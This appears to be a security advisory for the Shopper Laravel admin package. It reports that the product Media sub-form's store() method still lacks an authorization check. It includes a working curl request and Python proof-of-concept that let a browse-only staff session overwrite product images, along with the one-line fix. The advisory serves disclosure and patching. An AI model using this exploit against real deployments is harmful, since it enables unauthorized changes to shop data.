Shopper: Media sub-form store() still lacks authorization (Incomplete fix for GHSA-h4mp-g9c6-xwph)

 1// Lines 64-76 - store() with no authorize() call
 2public function store(): void
 3{
 4    $this->validate();
 5 
 6    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media
 7 
 8    $this->dispatch('product.updated');
 9 
10    Notification::make()
11        ->body(__('shopper::pages/products.notifications.media_update'))
12        ->success()
13        ->send();
14}

 1public function store(): void
 2{
 3    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files
 4    // ...
 5}

 1SESSION="laravel_session=<your_session_value>"
 2XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"
 3 
 4# Step 1: Load a product edit page as an admin to obtain the Media component's
 5#         Livewire snapshot ID and the product's public ID.
 6#         The component snapshot appears in the HTML source as data-livewire-snapshot.
 7 
 8# Step 2: As the low-privilege browse-only session, call store() on the Media component,
 9#         pointing at the captured component state.
10 
11curl -s -X POST http://localhost/shopper/livewire/update \
12  -H "Content-Type: application/json" \
13  -H "X-XSRF-TOKEN: $XSRF" \
14  -H "Cookie: $SESSION" \
15  -H "X-Livewire: 1" \
16  -d '{
17    "components": [{
18      "snapshot": "<snapshot JSON from page source with product locked>",
19      "updates": {},
20      "calls": [{"path":"","method":"store","params":[]}]
21    }]
22  }'
23# Expected: HTTP 200, product thumbnail and images updated without edit_products.

 1#!/usr/bin/env python3
 2"""
 3Media component authorization bypass PoC.
 4 
 5Set these environment variables before running:
 6  BASE_URL        e.g. http://localhost
 7  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)
 8  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value
 9  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component
10                  (copy from data-livewire-snapshot in the product edit page source)
11 
12The snapshot already contains the locked product ID, so no ID substitution is needed.
13The bypass is purely the missing authorize() on store().
14"""
15 
16import json
17import os
18import requests
19 
20base_url = os.environ['BASE_URL']
21session  = os.environ['SESSION_COOKIE']
22xsrf     = os.environ['XSRF_TOKEN']
23snapshot = os.environ['SNAPSHOT_JSON']
24 
25headers = {
26    'Content-Type': 'application/json',
27    'Accept': 'text/html, application/xhtml+xml',
28    'X-XSRF-TOKEN': xsrf,
29    'Cookie': f'laravel_session={session}',
30    'X-Livewire': '1',
31}
32 
33payload = {
34    'components': [{
35        'snapshot': snapshot,
36        'updates': {},
37        'calls': [{'path': '', 'method': 'store', 'params': []}]
38    }]
39}
40 
41r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
42print(f'Status: {r.status_code}')
43print(r.text[:500])

 1// packages/admin/src/Livewire/Components/Products/Form/Media.php
 2 
 3public function store(): void
 4{
 5    $this->authorize('edit_products');  // add this line
 6 
 7    $this->validate();
 8 
 9    $this->product->update($this->form->getState());
10 
11    $this->dispatch('product.updated');
12 
13    Notification::make()
14        ->body(__('shopper::pages/products.notifications.media_update'))
15        ->success()
16        ->send();
17}